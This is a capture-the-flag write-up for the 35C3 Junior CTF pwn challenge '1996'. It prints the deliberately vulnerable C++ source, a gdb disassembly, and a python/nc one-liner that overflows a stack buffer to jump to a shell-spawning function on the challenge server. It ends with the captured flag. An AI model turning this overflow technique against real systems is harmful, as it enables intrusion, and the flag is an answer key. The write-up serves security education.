JuniorCTF - 1996

by zuzzur3ll0n1

Tags: pwn

Rating: 0

35C3 Junior CTF – 1996

- **Category:** Pwn
- **Points:** 42 (variable)

Challenge

> It's 1996 all over again!
> nc 35.207.132.47 22227

Solution

The challenge involves a simple *buffer overflow* vulnerability. You will have two files: a binary and a C++ source code.

```
// compile with -no-pie -fno-stack-protector

#include <iostream>
#include <unistd.h>
#include <stdlib.h>

using namespace std;

void spawn_shell() {
    char* args[] = {(char*)"/bin/bash", NULL};
    execve("/bin/bash", args, NULL);
}

int main() {
    char buf[1024];

    cout << "Which environment variable do you want to read? ";
    cin >> buf;

    cout << buf << "=" << getenv(buf) << endl;
}
```

The objective is to change the return address of `getenv` function in order to hijack the flow to `spawn_shell` function.

```
gdb -q ./1996

(gdb) disass spawn_shell
Dump of assembler code for function _Z11spawn_shellv:
   0x0000000000400897 <+0>: push   %rbp
   0x0000000000400898 <+1>: mov    %rsp,%rbp
   0x000000000040089b <+4>: sub    $0x10,%rsp
   0x000000000040089f <+8>: lea    0x1b3(%rip),%rax        # 0x400a59
   0x00000000004008a6 <+15>:    mov    %rax,-0x10(%rbp)
   0x00000000004008aa <+19>:    movq   $0x0,-0x8(%rbp)
   0x00000000004008b2 <+27>:    lea    -0x10(%rbp),%rax
   0x00000000004008b6 <+31>:    mov    $0x0,%edx
   0x00000000004008bb <+36>:    mov    %rax,%rsi
   0x00000000004008be <+39>:    lea    0x194(%rip),%rdi        # 0x400a59
   0x00000000004008c5 <+46>:    callq  0x4007a0 <execve@plt>
   0x00000000004008ca <+51>:    nop
   0x00000000004008cb <+52>:    leaveq
   0x00000000004008cc <+53>:    retq
End of assembler dump.
```

The `spawn_shell` method will be loaded at `0x0000000000400897`.

To exploit the binary, you need to send at least 1024 characters (i.e. the `buf` size). After some analysis, the following exploit can be used to overwrite the return address.

```
(python -c 'print "A"*1048 + "\x97\x08\x40\x00\x00\x00\x00\x00"' ; cat ) | nc 35.207.132.47 22227
```

At this point, you will have a shell.

The `ls` command will reveal a `flag.txt` file.

The `cat flag.txt` command will reveal the flag.

```
35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14
```

Original writeup.

Comments